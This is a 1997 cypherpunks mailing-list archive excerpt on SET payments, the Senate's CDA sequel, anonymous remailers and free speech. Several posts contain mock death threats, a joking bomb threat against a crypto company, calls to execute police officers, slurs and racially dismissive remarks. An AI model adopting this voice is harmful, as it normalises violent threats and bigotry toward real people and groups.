easily receive a scholarship by sending a note to Donna Colvin, who can
be reached at dcolvin@essential.org (fax 202.234.5176).  This is
available to anyone, including people who work in industry or
government.

Conference info is on the web at http://www.appraising-microsoft.org

Jamie

--
James Packard Love
Consumer Project on Technology
P.O. Box 19367, Washington, DC 20036
202.387.8030 | fax 202.234.5176
love@cptech.org | http://www.cptech.org

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Nov 1997 07:54:53 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Minor Language Note
In-Reply-To: <199711121323.HAA28678@dfw-ix10.ix.netcom.com>
Message-ID: <v03102802b08fe06c4c97@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




>> While it was not Tim's intention to make Jim look like a criminal, the
>> use of a defendent's full name is often used to connote criminality.
>>
>> Lee Harvey Oswald, John Wilkes Booth, John Wayne Gacy, Richard Milhous
>> Nixon, William Jefferson Clinton... there are many examples.

George Washington Carver, James Fennimore Cooper, Richard Dean Anderson,
Clare Booth Luce, Robert Anton Wilson, Francis Scott Key, .....

Your point was what, Monty?

(Sometimes people have three names, sometimes two names, popularly used.
Criminality has little to do with it. For example, Richard Speck, Charles
Manson, John Walker, Aldrich Ames, Ted Kaczynski, Timothy McVeigh, Terry
Nichols.  Most of them presumably have middle names.)

Oh, and as to divining what Tim's "intention" was, this mindreading and
psychoanalysis shtick is getting old.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Thu, 13 Nov 1997 08:03:39 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: SET
In-Reply-To: <3.0.5.32.19971112165216.00990790@labg30>
Message-ID: <199711122359.PAA21389@einstein.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

John Deters writes:
 > At 11:18 AM 11/12/97 -0800, Jeremey Barrett you wrote:
 > >Perhaps... OTOH, SET is SO bad that it will be impossible to deploy,
 > >probably forcing everyone away from it anyway.
 > 
 > Having spent the last ten years at this retail outfit, I can assure you
 > that "impossible to deploy" != "won't be deployed".  If Mastercard tells us
 > that they will jack our rates by 0.5% for every transaction processed
 > without SET, then management will demand SET be rolled out.  Function be
 > damned, security be damned, as long as some bookkeeper somewhere is
 > satisfied that SET happens, then we avoid a huge rate increase.

I don't doubt that... but when they get zero orders because _noone_
has a SET wallet much less SET certs for their cards, that decision
will get re-evaluated pretty quickly (I would think). If the consumer 
has to get out of their chair to use SET, it's dead. And they have to 
do considerably more than that IMO.

The infrastructure required for SET to actually be used is outrageous,
especially for the consumer. All IMHO of course.

 > 
 > If the security of SET is questioned in the trade rags, our management's
 > approach will be to assume that Mastercard will fix it in the future, but
 > roll it out now anyway.  OTOH, it's obvious (even to them) that SET
 > couldn't possibly be any *less* secure than current authorizing techniques.
 > 

True enough...

Regards,
Jeremey.
- -- 
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 13 Nov 1997 07:04:09 +0800
To: Jeremey Barrett <rah@shipwright.com>
Subject: Re: SET
Message-ID: <3.0.5.32.19971112165216.00990790@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 11:18 AM 11/12/97 -0800, Jeremey Barrett you wrote:
>Robert Hettinga writes:
> > 
> > Unfortunately, I think that no MIS manager will get fired for using
SET, and
> > it'll take a serious demonstration of a security breach before people will
> > listen to anything else. At least until someone demonstrates a transaction
> > protocol which is, say 3 orders of magnitude cheaper...
>
>Perhaps... OTOH, SET is SO bad that it will be impossible to deploy,
>probably forcing everyone away from it anyway.

Having spent the last ten years at this retail outfit, I can assure you
that "impossible to deploy" != "won't be deployed".  If Mastercard tells us
that they will jack our rates by 0.5% for every transaction processed
without SET, then management will demand SET be rolled out.  Function be
damned, security be damned, as long as some bookkeeper somewhere is
satisfied that SET happens, then we avoid a huge rate increase.

If the security of SET is questioned in the trade rags, our management's
approach will be to assume that Mastercard will fix it in the future, but
roll it out now anyway.  OTOH, it's obvious (even to them) that SET
couldn't possibly be any *less* secure than current authorizing techniques.

*Sigh*.  Look for copyrighted swirly red/orange logos to appear on
retailer's doors' soon:  
    "SET(tm) Transaction Processing -- 
     It's safe to use your Mastercard here"

John, who will get dragged into implementing it.  Got any suggestions?
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Nov 1997 06:12:03 +0800
To: cypherpunks@toad.com
Subject: CDA: The Sequel -- introduced in the U.S. Senate
Message-ID: <v03007802b08fd68a40bd@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Just when you thought the Internet was safe from government
censorship, Sen. Dan Coats has introduced a sequel to the
notorious Communications Decency Act.

The bill punishes commercial distributors of material
that's "harmful to minors" with six months in jail and a
$50,000 fine. Unlike the original CDA, it applies only to
web sites -- not to chatrooms, newsgroups, or email.

Like the original CDA, it's certain to be controversial.
Sen. Coats (R-Indiana), chief GOP sponsor of the original
CDA, said his bill takes into account the Supreme Court's
unanimous vote in June that struck down his first try. "I
have studied the opinion of the Court and come before my
colleagues today to introduce legislation that reflects the
parameters laid out by the Court's opinion," he said on the
Senate floor.
  (ftp://ftp.loc.gov/pub/thomas/c105/s1482.is.txt)

Coats' brainchild is strikingly similar to (and in fact not
as broad as) an ill-fated version of the first CDA that
Rep. Rick White (R-Wash.) and the Center for Democracy and
Technology embraced as a "compromise" in December 1995.
Like Coats' bill, the White-CDT measure restricted material
that was "harmful to minors."
  (http://www.epic.org/cda/hyde_letter.html)

A Coats staffer said the measure requires adult
pornographers to place images behind a firewall. "If you're
involved in the commercial distribution of material that's
harmful to minors, you have to take the bad stuff and put
it on the other side of a credit card or PIN number," David
Crane said.

But the bill applies to more than just visual pornography.
Its definition of material that could hurt minors includes
any offensive sexual "communication" or "writing" without
redeeming value. It applies to text-only web pages -- or
bookstores that place sample chapters on the web.

Since it covers anyone who "through the World Wide Web is
engaged in the business of the commercial distribution of
material that is harmful to minors," it could apply to
Internet providers and online services as well.

The FCC and the Department of Justice would be required to
publish on their web sites "such information as is
necessary to inform the public of the meaning of the term
`material that is harmful to minors.'" Solveig Singleton, a
lawyer at the Cato Institute, says: "The Supreme Court
struggled for years to come up with a national defintion of
obscenity. They failed. Harmful to minors is
obscenity-lite. The FCC and Department of Justice won't
have any luck coming up with a definition of
obscenity-lite."

Not a problem, predicts former porn-prosecutor Bruce
Taylor, now the head of the National Law Center for
Children and Families. "This bill will ensure that the
hardcore pornographers don't get off the hook," he says.

Next step for Coats is to attract co-sponsors and to forward
his bill to the Senate Commerce committee. Some judges
criticized Congress for holding no hearings on the original
CDA; Coats isn't going to make that mistake again. "There
will be a concerted effort to build a substantial
legislative history," says David Crane.

This bill won't be the end of Congressional interest in
cyberporn. "You'll probably see other legislation come
forward. Introducing this is not abandoning our other
concerns," Crane says.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 13 Nov 1997 07:30:03 +0800
To: remailer@anon.efga.org
Subject: Incoming!!!
In-Reply-To: <Pine.LNX.3.94.971112125803.8435d-100000@neptune.chem.uga.edu>
Message-ID: <346A36AE.197E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: whitehouse.gov

Andy Dustman wrote:
> On Wed, 12 Nov 1997, Robert A. Costner wrote: 
> > At 10:05 AM 11/12/97 -0500, Andy Dustman wrote:
> > >FYI, here is the list of things blocked at cracker:
...
> > >Addresses: whitehouse.gov (ONLY address in .gov domain).

> > Anonymous political speech is one the most highly protected forms of
> > constitutional speech.  I think that whitehouse.gov should be unblocked.
 
> Well, I agree, and since it's your ass, it's done.

Dear Bad BillyC,
  Realizing that a plethora of death-threats were undoubtedly sent your
way through the Georgia Cracker remailer even before the ink on Andy's
computer screen had dried (only two of them were from me--I'm beginning 
to like you), I thought I would dash off a quick note to you, hopefully 
arriving before you send the National Park Janitors SWAT Team out to 
Bob  and Andy's cities of residence in order to raze them to the ground.

  Outwardly, I am a fool and a cynic, but inwardly, I am a fool and a
secret believer in Truth, Democracy and the American Way (TM).
(God, the Flag, Mom's Apple Pie, "Mr. Smith Goes to Washington"...)
  Although I am a member of a CryptoAnarchist non-organization which
requires all of its non-members to have "NUKE DC" tattooed on their
foreheads in invisible ink (paranoid enough , nonetheless. to make 
certain it is covered by our cleverly designed aluminum foil hats),
I still have a small ember of hope burning deep inside that perhaps
there is still someone within the belly of the Great Beast (that
consumes the souls of all elected officials) who remains capable of
reading the Declaration of Independence, the Bill of Rights, and
the Constitution, and saying, "My God, what have we done!"

  The Anonymous Remailers are a public service provided by those who
believe that "_mostly_ free speech" =/= "free speech."
  The anonymous remailer operators are willing to risk abuse, loss
of ISP service, prosecution, and a host of other headaches in order
to provide a mechanism by which those who fear retribution for
speaking freely can raise their voice anonymously, just as our
country's founding fathers did.
  No matter how eloquent the speech of those who claim that words
spoken by free men must be stifled if they are 'dangerous' to the
goals of democracy, national security, etc., the fact remains that
if the citizens are not allowed full freedom of speech, then there
is no democracy to defend, and no nation worth securing.

  Nothing personal, but if you have your hand resting on the Big 
Red Button and still feel the need to call out the militia every
time someone tells you to "Beware the Ides of March.", then maybe
you ought to lift weights, or something, and see if you can't
raise your level of confidence in your physical security.
  Has no one in DC ever heard the phrase, "Sticks and stones will
break my bones...?" Never seen Kato, in "The Pink Panther?"
  Personally, I think that you should institute National Death
Threat Week, where everyone is encouraged to send death threats
in one form or another to their legislative representatives,
employers, workers, family, neighbors, et al. Why? Because I
don't believe that the first indication of a 'problem' should
be seeing the muzzle flash and, if one is lucky, hearing the
shot.

  The Founding Fathers did not write the Constitution 'off the 
cuff.' They did not fail to consider someone shouting "Fire!" in
a crowded theater. They were aware of the existence of words
such as "nigger" and "cocksucker." Yet they still wrote that
the right to free speech should not be abridged.
  Figure it out...

  What has democracy come to when quoting those who wrote our
country's defining documents has become a cause for being labeled 
a fanatic, radical terrorist/pedophile/drug-dealer (and a Horseman
To Be Named Later)?
  Why does it take me half a day to find copies of the Bill of
Rights, the Constitution and the Declaration of Independence when
searching government web sites, but only a few minutes to find
by searching the sites of those declared by the government to
be guilty of uttering 'dangerous' free speech?

  I know that it can be just as thankless being President as it
can being an anonymous remailer operator, so you, above all,
should recognize that they are trying to keep the alligators off
their ass while still remembering to drain the swamp.
  I have no doubt that there are several hundred laws that you or
others could use to force the Georgia Cracker remailer operators
to block anonymous email to whitehouse.gov, but I hope that you
realize the value, in your position, of having at least one forum
where people can communicate with you at a level that goes beyond
ass kissing, fear of retribution, etc.

My final offering of wisdom: Have "NUKE DC!" tattooed on your forehead.
  I have no doubt that this would create a groundswell of popular
support for you that would result in the citizens storming Congress
to have you declared "President For Life." Then you could have some
*real* fun, without worrying about political fallout.
("Did I say 'inhale'? I meant 'exhale'! Hee...hee...")

Your pal,
TruthMonger
"It's not FUD until *I* say it's FUD!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 13 Nov 1997 06:41:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
Message-ID: <0LL6AuqqDgC9fMsOqjghIw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 11 Nov 1997, VME Encryption wrote:

> p.s. - I wonder if you know what's the source of all the bad rep we've got
> - nobody knows us and we never posted anything on your forum, so what the
> heck ?

Exactly. You have not posted the source code to your allegedly secure crypto
algorithm, so every serious cryptographer will laugh at you.  Without
independent verification, and lots of it, the only people who will consider
your product are lobotomized IT departments.  We've never heard of you
before; we don't even know who your developers are, so we can only assume
they haven't "done their homework."

In essence: you have now been branded as complete morons. The only way to
avoid having to leave the country is to make the complete source for your
crypto available on your website in the next   24 hours.  Noncompliance will
lead to your mysterious reciept of a suitcase, followed shortly by the
mysterious disappearance of a large portion of your city.

AlgorithmMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Nov 1997 09:41:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: John Brown
In-Reply-To: <ff0c08ce54aa4c02073a252924d8e659@anon.efga.org>
Message-ID: <v03102800b08ffa004f2a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:54 PM -0700 11/12/97, Anonymous wrote:

>lived,' Henry David Thoreau observed in a eulogy in Boston.  `These
...
>throughout the North.  Louisa May Alcott, William Dean Howells, Herman
>Melville, John Greenleaf Whittier, and Walt Whitman were among the
...
>congregations sang Julia Ward Howe's new words to the song: `As He
...
>Carolina, while William Lloyd Garrison surveyed the cheering


More examples of "three name criminals," eh Monty?

And John Brown, the one they hanged, only had two names....


(Not an important issue, but this meme that "most persons with three names
reported are criminals" is simply false.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Nov 1997 10:03:13 +0800
To: cypherpunks@Algebra.COM
Subject: Mad as Hell
Message-ID: <v03102801b08ffcdcfb0f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Several swirling themes here....

* More versions of the CDA...which the Supreme Court may let stand. (Cf. my
comments about "death by a thousand cuts" and the Constitution, which is
being "exceptioned" and "reinterpreted" into oblivion.)

* Crypto legislation is far from dead...it is just dormant right now.

* Game theoretically, Congress and the other bureaucrats win by expanding
the number and scope of laws. There is little constituency for lessening
the number and scope of laws, despite public opinion.

* Anti-militia rhetoric continues, with politicians saying militias must be
reigned in. (See misc.activism.militia for many examples.)

* The U.N. is trying to get the U.S. to "ban racism." Meaning, ban free
choice in whom one hires (already the case with Title 7 of the Civil Rights
Act, despite what this means for freedom of association). Meaning, place
even more limits on free speech. Meaning, pass laws against certain
organizations.

(If Paladin is upheld, expect more use of the civil law system to put
various clubs and organizations out of business.)

* And so it goes. More laws, more prisons, more pressure points on us all.

But the public is getting fed up. Here in my state of California we
decisively shot down the use of hiring quotas and admissions quotas based
on race. And the courts have upheld this. The free ride for unqualified
minorities and "people of color" is over, at least here in California. (And
a dozen or so other states are considering similar moves.)

Right-wing talk show hosts are more popular than ever.

Here's just the latest example, in the article below. The article makes
some good points.  Note especially the part about the murder of Donald
Scott, the guy murdered in his bedroom by BATFag agents.

No doubt Bob Hettinga thinks my mention of this case is dangerous, that
good little bunny rabbits don't make Big Brother angry. Well, I will say
what I said before: the BATF and LA County Sheriffs responsible and
involved in this case should be tried in a criminal court, should be
convicted (based on what I have seen), and they should then be sentenced to
die in the gas chamber at San Quentin. This is, after all, what they do to
gang bangers who shoot up liquor stores. Cops should face execution. In
this case, a mass execution of the dozen raiding officers would send a
strong message to other cops.)

Here's the item:


Hollywood Producer Says "Enough Is Enough!

                       AARON RUSSO IS MAD AS HELL


Aaron Russo, the Hollywood producer who produced The Rose with Bette
Midler and Trading Places with Eddie Murphy is now on a crusade to
wake up Americans to the wholesale assault on their liberties being
launched by governments at every level.

"America is becoming a totalitarian police state!" thunders Aaron
Russo as he paces back and forth across the stage of the colorful
"Mad As Hell" TV talk show set. He's not at all happy with the
sinister turn that America has taken in recent years and, like the
name of the new show, he is "Mad as Hell." But he's determined to do
something about it - and that is what "Mad As Hell" is all about.

A pilot for the show, including the above scene, is being
aggressively marketed to the networks and cable channels. Preview
showings of the show have drawn full houses in Las Vegas and Los
Angeles and Russo's angry outbreaks have provoked wild, enthusiastic
response wherever he goes. It appears that Russo isn't the only one
who's "Mad as Hell."

The theme of the first pilot, which was sent to ISIL staff for
evaluation, featured interviews and vignettes with Frances Plante
Scott; Brenda Grantland president of FEAR (Forfeiture Endangers
Americans' Rights), and Judy Osburn, herself a victim of civil
forfeiture and author of the book Spectre of Forfeiture.

Frances Plante Scott told of her chilling ordeal with Park Service
officials attempting to seize their ranch and of the SWAT team raid
in which her husband, Donald Scott, was shot to death by
trigger-happy police. Ventura and Los Angeles County Sheriffs, D.E.A.
and the Park Service were all vying to get a piece of the action and
seize the valuable property using trumped up marijuana charges (there
was no marijuana - as if it mattered). Following this event, Ms.
Scott's ranch house was burned in the Malibu firestorm and later was
subjected to punitive harassment by the IRS.

Colorado state Senator Charles Duke, also in the studio audience,
spoke about the 10th Amendment Sovereignty Resolution, a modern
version of Magna Carta designed to force a constitutional showdown
with the federal government. At this point in time 22 states have
emulated Duke by passing the resolution in their states. Duke,
incidentally, is scheduled as a speaker at the ISIL world conference
this August (see our conference web page).

The video ends with an eloquent statement on modern slavery by Rod
Taylor.

In mid-June, ISIL pres. Vince Miller, Exec. VP Jim Elwood, and Board
Member Jarret Wollstein had a meeting with Aaron Russo to discuss the
terrible dangers facing America today. We all agreed that a majority
of people have been kept almost completely in the dark regarding the
massive abuses of police power in this country.

I remembered the joke about how the govenment must think we are all
mushrooms because they seem to enjoy keeping us in the dark and
feeding us horseshit.

"How could they know," I exclaimed. "The national media is as
controlled as Pravda in the old Soviet Union."
Any real news is scrupulously excised from national news sources and
the waves of government propaganda are so pervasive that even some of
our own members believe the government line in spite of themselves
and think we have lost our marbles.

We agreed that there must be a vehicle for a wake-up-call - and
Russo's new program could be the ticket.

Russo also talked of establishing, with the assistance of ISIL, a
massive early-warning fax network to warn citizens of dangerous
legislation about to be passed. He has also created an action manual
with the phone and fax numbers of Members of Congress so that you will
know at whom to vent your wrath

With ISIL's world wide communications network - computer, fax, phone -
plus a network of correspondents we will be able to feed the data and
expose abuses of power before they get off the ground. A merchandise
line with caps, t-shirts with the blazing "Mad As Hell" logo is also
planned.

Stay tuned for more developments in fuure issues of the FNN.


FREEDOM NETWORK NEWS
International Society for Individual Liberty - The World's Foremost Liberty
Network

Editor: Vincent H. Miller * Assistant Editors: James R. Elwood * Tim Starr
* Anton Sherwood * Mark Valverde * June/July 1996






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Thu, 13 Nov 1997 07:17:14 +0800
To: cypherpunks@toad.com
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03007802b08fd68a40bd@[168.161.105.216]>
Message-ID: <ocrk9edzpat.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



I have so many issues with this, I don't even know where to start.

ftp://ftp.loc.gov/pub/thomas/c105/s1482.is.txt writes:

>   `(e)(1) Whoever in interstate or foreign commerce in or through
> the World Wide Web is engaged in the business of the commercial
> distribution of material that is harmful to minors shall restrict
> access to such material by persons under 17 years of age.

What is the World Wide Web?  The Bill doesn't even attempt to define
it.  Is Usenet a part of it?  Are FTP sites a part of it?

If I have a link to a "bad" site, am I bad?  How about if I have a
forwarding link?

Anyway, AltaVista is certainly part of the WWW.  It is in the business
of the commercial distribution of material.  It does Usenet queries,
some of which are certainly harmful to minors (according to Coats).

They go down.

>   `(7) For purposes of this subsection:
>       `(A) The term `material that is harmful to minors' means any
>     communication, picture, image, graphic image file, article,
>     recording, writing, or other matter of any kind that--

Note that "article" and "writing" are included.

>   (b) AVAILABILITY ON INTERNET OF DEFINITION OF MATERIAL THAT IS
> HARMFUL TO MINORS- The Attorney General, in the case of the 
> Internet web site of the Department of Justice, and the Federal
> Communications Commission, in the case of the Internet web site of
> the Commission, shall each post or otherwise make available on such
> web site such information as is necessary to inform the public of
> the meaning of the term `material that is harmful to minors' under
> section 223(e) of the Communications Act of 1934, as amended by
> subsection (a) of this section.

Is Coats saying that his definition of "harmful to minors" is too vague?
Why can't he define it correctly in the Bill itself?

>           `(i) taken as a whole and with respect to minors, appeals
>         to a prurient interest in nudity, sex, or excretion;
>           `(ii) depicts, describes, or represents, in a patently
>         offensive way with respect to what is suitable for minors,
>         an actual or simulated sexual act or sexual contact, actual
>         or simulated normal or perverted sexual acts, or a lewd
>         exhibition of the genitals; and
>           `(iii) lacks serious literary, artistic, political, or
>         scientific value.

By the way, my signature contains an ascii art rendition of an adult
about to have sex with a child.  I believe that (i) it appeals to a
prurient interest in sex; (ii) it depicts, in a patently offensive way,
a simulated sexual act; and (iii) lacks any value whatsoever.

Now all I need to do is put it up on a web page on a for-profit company.

-- 
Colin                 0
                     ---
                0|-< \|
                      ^
                     / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Thu, 13 Nov 1997 07:26:12 +0800
To: Lizard <lizard@mrlizard.com>
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <3.0.1.32.19971112150957.00e3fb40@dnai.com>
Message-ID: <Pine.LNX.3.95.971112181339.18407A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Even more to the point, Colin's ASCII-art post to a mailing list will be
on the web:
  ftp://vorlon.mit.edu/pub/f-c/v02.n508

-Declan


On Wed, 12 Nov 1997, Lizard wrote:

> At 06:05 PM 11/12/97 -0500, Colin Rafferty wrote:
> >
> >By the way, my signature contains an ascii art rendition of an adult
> >about to have sex with a child.  I believe that (i) it appeals to a
> >prurient interest in sex; (ii) it depicts, in a patently offensive way,
> >a simulated sexual act; and (iii) lacks any value whatsoever.
> >
> >Now all I need to do is put it up on a web page on a for-profit company.
> >
> More to the point, since Deja News will bring it up if you post to Usenet
> with it, they become 'porn distributors'.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 13 Nov 1997 09:41:48 +0800
To: Declan McCullagh <declan@well.com>
Subject: Cancer Cure Foung! / Re: FTC, Canada, Mexico officials launch "health claim surf day"
In-Reply-To: <v0300780fb08941d117ed@[168.161.105.141]>
Message-ID: <346A475F.67F5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



I have just discovered that shouting "Fuck the FTC!" at the top of
your lungs a half-dozen times cures cancer.
Look for the details soon, on my website.

http://truthmonger.dev

Declan McCullagh wrote:
> 
> [From Nov 5 Natural Healthline. --Declan]
> 
> ******************************************
> FTC Launches North American Health Claim Surf Day
> ******************************************
> 
> by Michael Evers
> 
> The Federal Trade Commission recently joined with public health and
> consumer  protection and information agencies from the United States,
> Canada, and  Mexico to "surf" the Internet for potentially false or
> deceptive  advertising claims concerning treatments or cures for heart
> disease,  cancer, AIDS, diabetes, arthritis, and multiple sclerosis.
> 
> The FTC announced today that in just a few hours during the recently
> conducted North American Health Claim Surf Day, Internet surfers
> identified more than 400 World Wide Web sites and numerous Usenet
> newsgroups that contain promotions for products or services purporting
> to help cure, treat or prevent these six diseases.
> 
> The FTC said that it sent hundreds of Web sites and newsgroups e-mail
> messages pointing out that advertisers must have evidence to back up
> their claims. FTC staff will follow-up by revisiting the targeted sites
> in the coming weeks to determine if changes have been made. Suspected
> violators received an e-mail warning which said the following:
> 
> The Federal Trade Commission (FTC), its federal and state law
> enforcement  partners, and public health and consumer protection
> agencies from Mexico  and Canada are sending you (and hundreds of other
> Internet advertisers)  this message based upon a review of the promotion
> you disseminated through  the Internet.
> 
> The FTC and its partners have NOT determined whether your Internet
> promotion violates United States federal or state laws, Mexican law, or
> Canadian law. Nevertheless, we want to remind you that when you make
> health claims in promoting a product, service, or treatment, those
> claims  must be truthful and non-deceptive.
> 
> Deceptive Acts or Practices Are Unlawful under the FTC Act
> 
> In the United States, Section 5 of the FTC Act (15 U.S.C. § 45),
> prohibits  deceptive acts or practices in or affecting commerce. In
> addition, Section  12 of the Act (15 U.S.C. § 52) prohibits the
> dissemination of any false  advertisement to induce the purchase of any
> food, drugs, or devices.
> 
> An advertisement is misleading and deceptive if the advertiser makes an
> objective claim, either expressly or by implication, including through
> the  use of consumer testimonials, without a "reasonable basis" to
> support that  claim. As set out in the Commission's Advertising
> Substantiation Policy  Statement, advertisements that specify the level
> of substantiation that the  advertiser possesses (e.g., "tests prove" or
> "studies show") must be  supported by at least that level of evidence.
> If the advertisement does not  specify a particular type of
> substantiation, the Commission considers  several factors in determining
> the appropriate level of substantiation.  Typically, claims of the sort
> included on your Internet site must be  substantiated by competent and
> reliable scientific evidence. Competent and  reliable scientific
> evidence is defined as tests, analyses, research,  studies, or other
> evidence based on the expertise of professionals in the  relevant area,
> that has been conducted and evaluated in an objective manner  by persons
> qualified to do so, using procedures generally accepted in the
> profession to yield accurate and reliable results. Anecdotal evidence
> and  consumer testimonials are not considered competent and reliable
> scientific  evidence. You may want to review your advertisement in light
> of these  standards.
> 
> Possible Violations in Other Jurisdictions
> 
> Unfair or deceptive acts or practices are also unlawful under various
> state  statutes in the United States. The standards under these statutes
> may be  different from those of the FTC's. In addition, by placing an
> Internet site  on the World Wide Web, you may be subject to scrutiny in
> other countries  where you sell your products. You should be aware that
> many countries,  including Mexico and Canada, also have laws that
> generally require  advertisements to be truthful and non-deceptive.
> 
> "Hopeful and sometimes desperate consumers spend millions of dollars on
> unproven, deceptively marketed, and often useless 'miracle cures' and
> the  Internet should not become the newest medium for this age-old
> problem,"  said Jodie Bernstein, Director of the FTC's Bureau of
> Consumer Protection.  "In addition to wasting consumers' money, some
> products or treatments may  even cause them serious harm or endanger
> their lives. Even when the  advertised remedy is harmless, it can still
> have a detrimental effect if it  causes consumers to stop or slow the
> use of proven treatments."
> 
> In addition to today's effort to prevent health fraud, the FTC has
> recently  conducted several other Internet Surf Days focusing on
> different types of  fraud, including pyramid schemes and deceptive
> business opportunity offers.
> 
> North American Health Claim Surf Day participants included:
> 
> U.S. Food and Drug Administration  Health Canada  Competition Bureau of
> Industry Canada  Procuraduria Federal del Consumidor of Mexico  the
> Secretaria de Salud of Mexico  Centers for Disease Control and
> Prevention  Federal Communications Commission (Denver Office)  Attorney
> General of Connecticut  Attorney General of Illinois  Attorney General
> of Kentucky  Attorney General of Maryland  Attorney General of
> Massachusetts  Attorney General of Minnesota  Attorney General of
> Missouri  Attorney General of North Carolina  Attorney General of
> Pennsylvania  Attorney General of Tennessee  Attorney General of Texas
> Attorney General of Vermont  Attorney General of Virginia  Attorney
> General of Wisconsin  Arthritis Foundation  American Heart Association
> American Diabetes Association  Capital Area and Tristate AIDS Task
> Force  Better Business Bureau serving northwest Ohio and southeast
> Michigan.
> 
> For more information,
> 
> Federal Trade Commission Web site  http://www.ftc.gov
> 
> Tom Carter  FTC Dallas Regional Director  1999 Bryan Street, Suite 2150
> Dallas, Texas 75201  (214) 979-9350






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 13 Nov 1997 10:33:30 +0800
To: cypherpunks@toad.com
Subject: about RC4
Message-ID: <19971113022149.19102.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Is inhabit RC4 sourcecode same RC4 developed RSADSI perfectly ?


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Nov 1997 10:35:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711130046.SAA02417@dfw-ix6.ix.netcom.com>
Message-ID: <v03102802b090052def34@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:45 PM -0700 11/11/97, Monty Cantsin wrote:

>As Michel Foucault used to say, "The only guarantee of freedom is
>freedom itself."  Put another way, "rights which are not exercised are
>lost."  We don't see Freeh and Reno backing off so they don't become
>poster children for cryptoanarchy, do we?

Just so. The notion that we have to tone down, moderate, and soften our
words so that the Authorities won't get angry at us is 90% of the problem
in America today. (And a problem in most other countries, where one finds
otherwise reasonable folks talking about the need to restrain habits like
chewing gum, practicing Scientology, and seeking birth control information.
Not to mention "voluntary mandatory" silence about the Holocaust.)

>Just because free speech is a right guaranteed under the Constitution
